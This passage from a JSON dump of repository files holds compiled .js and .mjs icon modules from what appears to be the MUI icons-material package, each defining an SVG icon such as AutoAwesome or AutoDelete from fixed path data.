    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 21c2.21 0 4-1.79 4-4V7h4V3h-6v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"1\")], 'AudiotrackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AudiotrackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 21c2.21 0 4-1.79 4-4V7h4V3h-6v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"1\")], 'AudiotrackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesome.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm-7.5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zM19 15l-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25z\"\n}), 'AutoAwesome');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesome.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm-7.5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zM19 15l-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25z\"\n}), 'AutoAwesome');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m16-2h-6v8h8V5c0-1.1-.9-2-2-2m-6 18h6c1.1 0 2-.9 2-2v-6h-8z\"\n}), 'AutoAwesomeMosaic');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m16-2h-6v8h8V5c0-1.1-.9-2-2-2m-6 18h6c1.1 0 2-.9 2-2v-6h-8z\"\n}), 'AutoAwesomeMosaic');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m6 14H5V5h4zM19 3h-6v8h8V5c0-1.1-.9-2-2-2m0 6h-4V5h4zm-6 12h6c1.1 0 2-.9 2-2v-6h-8zm2-6h4v4h-4z\"\n}), 'AutoAwesomeMosaicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m6 14H5V5h4zM19 3h-6v8h8V5c0-1.1-.9-2-2-2m0 6h-4V5h4zm-6 12h6c1.1 0 2-.9 2-2v-6h-8zm2-6h4v4h-4z\"\n}), 'AutoAwesomeMosaicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m16-2h-6v8h8V5c0-1.1-.9-2-2-2m-6 18h6c1.1 0 2-.9 2-2v-6h-8z\"\n}), 'AutoAwesomeMosaicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m16-2h-6v8h8V5c0-1.1-.9-2-2-2m-6 18h6c1.1 0 2-.9 2-2v-6h-8z\"\n}), 'AutoAwesomeMosaicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h8V3H3zM21 3h-8v8h8zm-8 18h8v-8h-8z\"\n}), 'AutoAwesomeMosaicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h8V3H3zM21 3h-8v8h8zm-8 18h8v-8h-8z\"\n}), 'AutoAwesomeMosaicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h4v14H5zm10 10h4v4h-4zm0-10h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m6 14H5V5h4zM19 3h-6v8h8V5c0-1.1-.9-2-2-2m0 6h-4V5h4zm-6 12h6c1.1 0 2-.9 2-2v-6h-8zm2-6h4v4h-4z\"\n}, \"1\")], 'AutoAwesomeMosaicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMosaicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h4v14H5zm10 10h4v4h-4zm0-10h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.89 2 2 2h6V3H5c-1.11 0-2 .9-2 2m6 14H5V5h4zM19 3h-6v8h8V5c0-1.1-.9-2-2-2m0 6h-4V5h4zm-6 12h6c1.1 0 2-.9 2-2v-6h-8zm2-6h4v4h-4z\"\n}, \"1\")], 'AutoAwesomeMosaicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotion.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4c-1.11 0-2 .9-2 2v10h2V4h10zm4 4H8c-1.11 0-2 .9-2 2v10h2V8h10zm2 4h-8c-1.11 0-2 .9-2 2v8c0 1.1.89 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2\"\n}), 'AutoAwesomeMotion');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotion.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4c-1.11 0-2 .9-2 2v10h2V4h10zm4 4H8c-1.11 0-2 .9-2 2v10h2V8h10zm2 4h-8c-1.11 0-2 .9-2 2v8c0 1.1.89 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2\"\n}), 'AutoAwesomeMotion');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4c-1.1 0-2 .9-2 2v10h2V4h10zm4 4H8c-1.1 0-2 .9-2 2v10h2V8h10zm2 4h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10h-8v-8h8z\"\n}), 'AutoAwesomeMotionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4c-1.1 0-2 .9-2 2v10h2V4h10zm4 4H8c-1.1 0-2 .9-2 2v10h2V8h10zm2 4h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10h-8v-8h8z\"\n}), 'AutoAwesomeMotionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2H4c-1.1 0-2 .9-2 2v9c0 .55.45 1 1 1s1-.45 1-1V4h9c.55 0 1-.45 1-1s-.45-1-1-1m4 4H8c-1.1 0-2 .9-2 2v9c0 .55.45 1 1 1s1-.45 1-1V8h9c.55 0 1-.45 1-1s-.45-1-1-1m3 4h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2\"\n}), 'AutoAwesomeMotionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2H4c-1.1 0-2 .9-2 2v9c0 .55.45 1 1 1s1-.45 1-1V4h9c.55 0 1-.45 1-1s-.45-1-1-1m4 4H8c-1.1 0-2 .9-2 2v9c0 .55.45 1 1 1s1-.45 1-1V8h9c.55 0 1-.45 1-1s-.45-1-1-1m3 4h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2\"\n}), 'AutoAwesomeMotionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H2v12h2V4h10zm4 4H6v12h2V8h10zm4 4H10v12h12z\"\n}), 'AutoAwesomeMotionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H2v12h2V4h10zm4 4H6v12h2V8h10zm4 4H10v12h12z\"\n}), 'AutoAwesomeMotionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12h8v8h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4c-1.1 0-2 .9-2 2v10h2V4h10zm6 8h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10h-8v-8h8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6H8c-1.1 0-2 .9-2 2v10h2V8h10z\"\n}, \"2\")], 'AutoAwesomeMotionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeMotionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12h8v8h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4c-1.1 0-2 .9-2 2v10h2V4h10zm6 8h-8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2m0 10h-8v-8h8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6H8c-1.1 0-2 .9-2 2v10h2V8h10z\"\n}, \"2\")], 'AutoAwesomeMotionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm0 6-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25zm-7.5-5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zm-1.51 3.49L9 15.17l-.99-2.18L5.83 12l2.18-.99L9 8.83l.99 2.18 2.18.99z\"\n}), 'AutoAwesomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm0 6-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25zm-7.5-5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zm-1.51 3.49L9 15.17l-.99-2.18L5.83 12l2.18-.99L9 8.83l.99 2.18 2.18.99z\"\n}), 'AutoAwesomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.46 8 .79-1.75L22 5.46c.39-.18.39-.73 0-.91l-1.75-.79L19.46 2c-.18-.39-.73-.39-.91 0l-.79 1.75-1.76.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.74.39.92 0M11.5 9.5 9.91 6c-.35-.78-1.47-.78-1.82 0L6.5 9.5 3 11.09c-.78.36-.78 1.47 0 1.82l3.5 1.59L8.09 18c.36.78 1.47.78 1.82 0l1.59-3.5 3.5-1.59c.78-.36.78-1.47 0-1.82zm7.04 6.5-.79 1.75-1.75.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91l-1.75-.79-.79-1.76c-.18-.39-.74-.39-.92 0\"\n}), 'AutoAwesomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.46 8 .79-1.75L22 5.46c.39-.18.39-.73 0-.91l-1.75-.79L19.46 2c-.18-.39-.73-.39-.91 0l-.79 1.75-1.76.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.74.39.92 0M11.5 9.5 9.91 6c-.35-.78-1.47-.78-1.82 0L6.5 9.5 3 11.09c-.78.36-.78 1.47 0 1.82l3.5 1.59L8.09 18c.36.78 1.47.78 1.82 0l1.59-3.5 3.5-1.59c.78-.36.78-1.47 0-1.82zm7.04 6.5-.79 1.75-1.75.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91l-1.75-.79-.79-1.76c-.18-.39-.74-.39-.92 0\"\n}), 'AutoAwesomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm-7.5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zM19 15l-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25z\"\n}), 'AutoAwesomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm-7.5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zM19 15l-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25z\"\n}), 'AutoAwesomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.99 11.01 9 8.83l-.99 2.18-2.18.99 2.18.99.99 2.18.99-2.18 2.18-.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm0 6-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25zm-7.5-5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zm-1.51 3.49L9 15.17l-.99-2.18L5.83 12l2.18-.99L9 8.83l.99 2.18 2.18.99z\"\n}, \"1\")], 'AutoAwesomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoAwesomeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.99 11.01 9 8.83l-.99 2.18-2.18.99 2.18.99.99 2.18.99-2.18 2.18-.99z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 9 1.25-2.75L23 5l-2.75-1.25L19 1l-1.25 2.75L15 5l2.75 1.25zm0 6-1.25 2.75L15 19l2.75 1.25L19 23l1.25-2.75L23 19l-2.75-1.25zm-7.5-5.5L9 4 6.5 9.5 1 12l5.5 2.5L9 20l2.5-5.5L17 12zm-1.51 3.49L9 15.17l-.99-2.18L5.83 12l2.18-.99L9 8.83l.99 2.18 2.18.99z\"\n}, \"1\")], 'AutoAwesomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDelete.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDelete');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDelete.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDelete');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m-7 7c0 .34.03.67.08 1H4V7h8v3.26c-1.81 1.27-3 3.36-3 5.74m7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), 